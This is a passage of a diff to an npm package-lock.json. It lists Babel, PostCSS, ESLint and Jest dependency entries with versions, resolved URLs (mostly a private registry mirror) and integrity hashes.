"resolved": "https://registry.npmjs.org/@babel/template/-/template-7.24.0.tgz", + "integrity": "sha512-Bkf2q8lMB0AFpX0NFEqSbx1OkTHf0f+0j82mkw+ZpzBnkk7e9Ql0891vlfgi+kHwOk8tQjiQHpqh4LaSa0fKEA==", + "dependencies": { + "@babel/code-frame": "^7.23.5", + "@babel/parser": "^7.24.0", + "@babel/types": "^7.24.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/traverse": { + "version": "7.24.1", + "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.24.1.tgz", + "integrity": "sha512-xuU6o9m68KeqZbQuDt2TcKSxUw/mrsvavlEqQ1leZ/B+C9tk6E4sRWy97WaXgvq5E+nU3cXMxv3WKOCanVMCmQ==", + "dependencies": { + "@babel/code-frame": "^7.24.1", + "@babel/generator": "^7.24.1", + "@babel/helper-environment-visitor": "^7.22.20", + "@babel/helper-function-name": "^7.23.0", + "@babel/helper-hoist-variables": "^7.22.5", + "@babel/helper-split-export-declaration": "^7.22.6", + "@babel/parser": "^7.24.1", + "@babel/types": "^7.24.0", + "debug": "^4.3.1", + "globals": "^11.1.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/types": { + "version": "7.24.0", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.24.0.tgz", + "integrity": "sha512-+j7a5c253RfKh8iABBhywc8NSfP5LURe7Uh4qpsh6jc+aLJguvmIUBdjSdEMQv2bENrCR5MfRdjGo7vzS/ob7w==", + "dependencies": { + "@babel/helper-string-parser": "^7.23.4", + "@babel/helper-validator-identifier": "^7.22.20", + "to-fast-properties": "^2.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@bcoe/v8-coverage": { + "version": "0.2.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@bcoe/v8-coverage/-/v8-coverage-0.2.3.tgz", + "integrity": "sha512-0hYQ8SB4Db5zvZB4axdMHGwEaQjkZzFjQiN9LVYvIFB2nSUHW9tYpxWriPrWDASIxiaXax83REcLxuSdnGPZtw==" + }, + "node_modules/@csstools/normalize.css": { + "version": "12.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@csstools/normalize.css/-/normalize.css-12.0.0.tgz", + "integrity": "sha512-M0qqxAcwCsIVfpFQSlGN5XjXWu8l5JDZN+fPt1LeW5SZexQTgnaEvgXAY+CeygRw0EeppWHi12JxESWiWrB0Sg==" + }, + "node_modules/@csstools/postcss-cascade-layers": { + "version": "1.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@csstools/postcss-cascade-layers/-/postcss-cascade-layers-1.1.1.tgz", + "integrity": "sha512-+KdYrpKC5TgomQr2DlZF4lDEpHcoxnj5IGddYYfBWJAKfj1JtuHUIqMa+E1pJJ+z3kvDViWMqyqPlG4Ja7amQA==", + "dependencies": { + "@csstools/selector-specificity": "^2.0.2", + "postcss-selector-parser": "^6.0.10" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/@csstools/postcss-color-function": { + "version": "1.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@csstools/postcss-color-function/-/postcss-color-function-1.1.1.tgz", + "integrity": "sha512-Bc0f62WmHdtRDjf5f3e2STwRAl89N2CLb+9iAwzrv4L2hncrbDwnQD9PCq0gtAt7pOI2leIV08HIBUd4jxD8cw==", + "dependencies": { + "@csstools/postcss-progressive-custom-properties": "^1.1.0", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/@csstools/postcss-font-format-keywords": { + "version": "1.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@csstools/postcss-font-format-keywords/-/postcss-font-format-keywords-1.0.1.tgz", + "integrity": "sha512-ZgrlzuUAjXIOc2JueK0X5sZDjCtgimVp/O5CEqTcs5ShWBa6smhWYbS0x5cVc/+rycTDbjjzoP0KTDnUneZGOg==", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/@csstools/postcss-hwb-function": { + "version": "1.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@csstools/postcss-hwb-function/-/postcss-hwb-function-1.0.2.tgz", + "integrity": "sha512-YHdEru4o3Rsbjmu6vHy4UKOXZD+Rn2zmkAmLRfPet6+Jz4Ojw8cbWxe1n42VaXQhD3CQUXXTooIy8OkVbUcL+w==", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/@csstools/postcss-ic-unit": { + "version": "1.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@csstools/postcss-ic-unit/-/postcss-ic-unit-1.0.1.tgz", + "integrity": "sha512-Ot1rcwRAaRHNKC9tAqoqNZhjdYBzKk1POgWfhN4uCOE47ebGcLRqXjKkApVDpjifL6u2/55ekkpnFcp+s/OZUw==", + "dependencies": { + "@csstools/postcss-progressive-custom-properties": "^1.1.0", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/@csstools/postcss-is-pseudo-class": { + "version": "2.0.7", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@csstools/postcss-is-pseudo-class/-/postcss-is-pseudo-class-2.0.7.tgz", + "integrity": "sha512-7JPeVVZHd+jxYdULl87lvjgvWldYu+Bc62s9vD/ED6/QTGjy0jy0US/f6BG53sVMTBJ1lzKZFpYmofBN9eaRiA==", + "dependencies": { + "@csstools/selector-specificity": "^2.0.0", + "postcss-selector-parser": "^6.0.10" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/@csstools/postcss-nested-calc": { + "version": "1.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@csstools/postcss-nested-calc/-/postcss-nested-calc-1.0.0.tgz", + "integrity": "sha512-JCsQsw1wjYwv1bJmgjKSoZNvf7R6+wuHDAbi5f/7MbFhl2d/+v+TvBTU4BJH3G1X1H87dHl0mh6TfYogbT/dJQ==", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/@csstools/postcss-normalize-display-values": { + "version": "1.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@csstools/postcss-normalize-display-values/-/postcss-normalize-display-values-1.0.1.tgz", + "integrity": "sha512-jcOanIbv55OFKQ3sYeFD/T0Ti7AMXc9nM1hZWu8m/2722gOTxFg7xYu4RDLJLeZmPUVQlGzo4jhzvTUq3x4ZUw==", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/@csstools/postcss-oklab-function": { + "version": "1.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@csstools/postcss-oklab-function/-/postcss-oklab-function-1.1.1.tgz", + "integrity": "sha512-nJpJgsdA3dA9y5pgyb/UfEzE7W5Ka7u0CX0/HIMVBNWzWemdcTH3XwANECU6anWv/ao4vVNLTMxhiPNZsTK6iA==", + "dependencies": { + "@csstools/postcss-progressive-custom-properties": "^1.1.0", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/@csstools/postcss-progressive-custom-properties": { + "version": "1.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@csstools/postcss-progressive-custom-properties/-/postcss-progressive-custom-properties-1.3.0.tgz", + "integrity": "sha512-ASA9W1aIy5ygskZYuWams4BzafD12ULvSypmaLJT2jvQ8G0M3I8PRQhC0h7mG0Z3LI05+agZjqSR9+K9yaQQjA==", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "peerDependencies": { + "postcss": "^8.3" + } + }, + "node_modules/@csstools/postcss-stepped-value-functions": { + "version": "1.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@csstools/postcss-stepped-value-functions/-/postcss-stepped-value-functions-1.0.1.tgz", + "integrity": "sha512-dz0LNoo3ijpTOQqEJLY8nyaapl6umbmDcgj4AD0lgVQ572b2eqA1iGZYTTWhrcrHztWDDRAX2DGYyw2VBjvCvQ==", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/@csstools/postcss-text-decoration-shorthand": { + "version": "1.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@csstools/postcss-text-decoration-shorthand/-/postcss-text-decoration-shorthand-1.0.0.tgz", + "integrity": "sha512-c1XwKJ2eMIWrzQenN0XbcfzckOLLJiczqy+YvfGmzoVXd7pT9FfObiSEfzs84bpE/VqfpEuAZ9tCRbZkZxxbdw==", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/@csstools/postcss-trigonometric-functions": { + "version": "1.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@csstools/postcss-trigonometric-functions/-/postcss-trigonometric-functions-1.0.2.tgz", + "integrity": "sha512-woKaLO///4bb+zZC2s80l+7cm07M7268MsyG3M0ActXXEFi6SuhvriQYcb58iiKGbjwwIU7n45iRLEHypB47Og==", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^14 || >=16" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/@csstools/postcss-unset-value": { + "version": "1.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@csstools/postcss-unset-value/-/postcss-unset-value-1.0.2.tgz", + "integrity": "sha512-c8J4roPBILnelAsdLr4XOAR/GsTm0GJi4XpcfvoWk3U6KiTCqiFYc63KhRMQQX35jYMp4Ao8Ij9+IZRgMfJp1g==", + "engines": { + "node": "^12 || ^14 || >=16" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/@csstools/selector-specificity": { + "version": "2.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@csstools/selector-specificity/-/selector-specificity-2.2.0.tgz", + "integrity": "sha512-+OJ9konv95ClSTOJCmMZqpd5+YGsB2S+x6w3E1oaM8UuR5j8nTNHYSz8c9BEPGDOCMQYIEEGlVPj/VY64iTbGw==", + "engines": { + "node": "^14 || ^16 || >=18" + }, + "peerDependencies": { + "postcss-selector-parser": "^6.0.10" + } + }, + "node_modules/@eslint-community/eslint-utils": { + "version": "4.4.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@eslint-community/eslint-utils/-/eslint-utils-4.4.0.tgz", + "integrity": "sha512-1/sA4dwrzBAyeUoQ6oxahHKmrZvsnLCg4RfxW3ZFGGmQkSNQPFNLV9CUEFQP1x9EYXHTo5p6xdhZM1Ne9p/AfA==", + "dependencies": { + "eslint-visitor-keys": "^3.3.0" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "peerDependencies": { + "eslint": "^6.0.0 || ^7.0.0 || >=8.0.0" + } + }, + "node_modules/@eslint-community/regexpp": { + "version": "4.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@eslint-community/regexpp/-/regexpp-4.5.1.tgz", + "integrity": "sha512-Z5ba73P98O1KUYCCJTUeVpja9RcGoMdncZ6T49FCUl2lN38JtCJ+3WgIDBv0AuY4WChU5PmtJmOCTlN6FZTFKQ==", + "engines": { + "node": "^12.0.0 || ^14.0.0 || >=16.0.0" + } + }, + "node_modules/@eslint/eslintrc": { + "version": "2.0.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@eslint/eslintrc/-/eslintrc-2.0.3.tgz", + "integrity": "sha512-+5gy6OQfk+xx3q0d6jGZZC3f3KzAkXc/IanVxd1is/VIIziRqqt3ongQz0FiTUXqTk0c7aDB3OaFuKnuSoJicQ==", + "dependencies": { + "ajv": "^6.12.4", + "debug": "^4.3.2", + "espree": "^9.5.2", + "globals": "^13.19.0", + "ignore": "^5.2.0", + "import-fresh": "^3.2.1", + "js-yaml": "^4.1.0", + "minimatch": "^3.1.2", + "strip-json-comments": "^3.1.1" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + } + }, + "node_modules/@eslint/eslintrc/node_modules/argparse": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/argparse/-/argparse-2.0.1.tgz", + "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==" + }, + "node_modules/@eslint/eslintrc/node_modules/globals": { + "version": "13.20.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/globals/-/globals-13.20.0.tgz", + "integrity": "sha512-Qg5QtVkCy/kv3FUSlu4ukeZDVf9ee0iXLAUYX13gbR17bnejFTzr4iS9bY7kwCf1NztRNm1t91fjOiyx4CSwPQ==", + "dependencies": { + "type-fest": "^0.20.2" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@eslint/eslintrc/node_modules/js-yaml": { + "version": "4.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/js-yaml/-/js-yaml-4.1.0.tgz", + "integrity": "sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA==", + "dependencies": { + "argparse": "^2.0.1" + }, + "bin": { + "js-yaml": "bin/js-yaml.js" + } + }, + "node_modules/@eslint/eslintrc/node_modules/type-fest": { + "version": "0.20.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/type-fest/-/type-fest-0.20.2.tgz", + "integrity": "sha512-Ne+eE4r0/iWnpAxD852z3A+N0Bt5RN//NjJwRd2VFHEmrywxf5vsZlh4R6lixl6B+wz/8d+maTSAkN1FIkI3LQ==", + "engines": { + "node": ">=10" + } + }, + "node_modules/@eslint/js": { + "version": "8.43.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@eslint/js/-/js-8.43.0.tgz", + "integrity": "sha512-s2UHCoiXfxMvmfzqoN+vrQ84ahUSYde9qNO1MdxmoEhyHWsfmwOpFlwYV+ePJEVc7gFnATGUi376WowX1N7tFg==", + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + } + }, + "node_modules/@humanwhocodes/config-array": { + "version": "0.11.10", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@humanwhocodes/config-array/-/config-array-0.11.10.tgz", + "integrity": "sha512-KVVjQmNUepDVGXNuoRRdmmEjruj0KfiGSbS8LVc12LMsWDQzRXJ0qdhN8L8uUigKpfEHRhlaQFY0ib1tnUbNeQ==", + "dependencies": { + "@humanwhocodes/object-schema": "^1.2.1", + "debug": "^4.1.1", + "minimatch": "^3.0.5" + }, + "engines": { + "node": ">=10.10.0" + } + }, + "node_modules/@humanwhocodes/module-importer": { + "version": "1.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@humanwhocodes/module-importer/-/module-importer-1.0.1.tgz", + "integrity": "sha512-bxveV4V8v5Yb4ncFTT3rPSgZBOpCkjfK0y4oVVVJwIuDVBRMDXrPyXRL988i5ap9m9bnyEEjWfm5WkBmtffLfA==", + "engines": { + "node": ">=12.22" + } + }, + "node_modules/@humanwhocodes/object-schema": { + "version": "1.2.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@humanwhocodes/object-schema/-/object-schema-1.2.1.tgz", + "integrity": "sha512-ZnQMnLV4e7hDlUvw8H+U8ASL02SS2Gn6+9Ac3wGGLIe7+je2AeAOxPY+izIPJDfFDb7eDjev0Us8MO1iFRN8hA==" + }, + "node_modules/@istanbuljs/load-nyc-config": { + "version": "1.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@istanbuljs/load-nyc-config/-/load-nyc-config-1.1.0.tgz", + "integrity": "sha512-VjeHSlIzpv/NyD3N0YuHfXOPDIixcA1q2ZV98wsMqcYlPmv2n3Yb2lYP9XMElnaFVXg5A7YLTeLu6V84uQDjmQ==", + "dependencies": { + "camelcase": "^5.3.1", + "find-up": "^4.1.0", + "get-package-type": "^0.1.0", + "js-yaml": "^3.13.1", + "resolve-from": "^5.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@istanbuljs/load-nyc-config/node_modules/camelcase": { + "version": "5.3.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/camelcase/-/camelcase-5.3.1.tgz", + "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==", + "engines": { + "node": ">=6" + } + }, + "node_modules/@istanbuljs/load-nyc-config/node_modules/find-up": { + "version": "4.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/find-up/-/find-up-4.1.0.tgz", + "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==", + "dependencies": { + "locate-path": "^5.0.0", + "path-exists": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@istanbuljs/load-nyc-config/node_modules/locate-path": { + "version": "5.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/locate-path/-/locate-path-5.0.0.tgz", + "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==", + "dependencies": { + "p-locate": "^4.1.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@istanbuljs/load-nyc-config/node_modules/p-limit": { + "version": "2.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/p-limit/-/p-limit-2.3.0.tgz", + "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", + "dependencies": { + "p-try": "^2.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/@istanbuljs/load-nyc-config/node_modules/p-locate": { + "version": "4.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/p-locate/-/p-locate-4.1.0.tgz", + "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==", + "dependencies": { + "p-limit": "^2.2.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@istanbuljs/schema": { + "version": "0.1.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@istanbuljs/schema/-/schema-0.1.3.tgz", + "integrity": "sha512-ZXRY4jNvVgSVQ8DL3LTcakaAtXwTVUxE81hslsyD2AtoXW/wVob10HkOJ1X/pAlcI7D+2YoZKg5do8G/w6RYgA==", + "engines": { + "node": ">=8" + } + }, + "node_modules/@jest/console": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@jest/console/-/console-27.5.1.tgz", + "integrity": "sha512-kZ/tNpS3NXn0mlXXXPNuDZnb4c0oZ20r4K5eemM2k30ZC3G0T02nXUvyhf5YdbXWHPEJLc9qGLxEZ216MdL+Zg==", + "dependencies": { + "@jest/types": "^27.5.1", + "@types/node": "*", + "chalk": "^4.0.0", + "jest-message-util": "^27.5.1", + "jest-util": "^27.5.1", + "slash": "^3.0.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/@jest/console/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@jest/console/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/@jest/console/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/@jest/console/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "node_modules/@jest/console/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/@jest/console/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@jest/core": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@jest/core/-/core-27.5.1.tgz", + "integrity": "sha512-AK6/UTrvQD0Cd24NSqmIA6rKsu0tKIxfiCducZvqxYdmMisOYAsdItspT+fQDQYARPf8XgjAFZi0ogW2agH5nQ==", + "dependencies": { + "@jest/console": "^27.5.1", + "@jest/reporters": "^27.5.1", + "@jest/test-result": "^27.5.1", + "@jest/transform": "^27.5.1", + "@jest/types": "^27.5.1", + "@types/node": "*", + "ansi-escapes": "^4.2.1", + "chalk": "^4.0.0", + "emittery": "^0.8.1", + "exit": "^0.1.2", + "graceful-fs": "^4.2.9", + "jest-changed-files": "^27.5.1", + "jest-config": "^27.5.1", + "jest-haste-map": "^27.5.1", + "jest-message-util": "^27.5.1", + "jest-regex-util": "^27.5.1", + "jest-resolve": "^27.5.1", + "jest-resolve-dependencies": "^27.5.1", + "jest-runner": "^27.5.1", + "jest-runtime": "^27.5.1", + "jest-snapshot": "^27.5.1", + "jest-util": "^27.5.1", + "jest-validate": "^27.5.1", + "jest-watcher": "^27.5.1", + "micromatch": "^4.0.4", + "rimraf": "^3.0.0", + "slash": "^3.0.0", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + }, + "peerDependencies": { + "node-notifier": "^8.0.1 || ^9.0.0 || ^10.0.0" + }, + "peerDependenciesMeta": { + "node-notifier": { + "optional": true + } + } + }, + "node_modules/@jest/core/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@jest/core/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/@jest/core/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/@jest/core/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "node_modules/@jest/core/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/@jest/core/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@jest/environment": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@jest/environment/-/environment-27.5.1.tgz", + "integrity": "sha512-/WQjhPJe3/ghaol/4Bq480JKXV/Rfw8nQdN7f41fM8VDHLcxKXou6QyXAh3EFr9/bVG3x74z1NWDkP87EiY8gA==", + "dependencies": { + "@jest/fake-timers": "^27.5.1", + "@jest/types": "^27.5.1", + "@types/node": "*", + "jest-mock": "^27.5.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/@jest/expect-utils": { + "version": "29.5.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@jest/expect-utils/-/expect-utils-29.5.0.tgz", + "integrity": "sha512-fmKzsidoXQT2KwnrwE0SQq3uj8Z763vzR8LnLBwC2qYWEFpjX8daRsk6rHUM1QvNlEW/UJXNXm59ztmJJWs2Mg==", + "dependencies": { + "jest-get-type": "^29.4.3" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/@jest/expect-utils/node_modules/jest-get-type": { + "version": "29.4.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-get-type/-/jest-get-type-29.4.3.tgz", + "integrity": "sha512-J5Xez4nRRMjk8emnTpWrlkyb9pfRQQanDrvWHhsR1+VUfbwxi30eVcZFlcdGInRibU4G5LwHXpI7IRHU0CY+gg==", + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/@jest/fake-timers": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@jest/fake-timers/-/fake-timers-27.5.1.tgz", + "integrity": 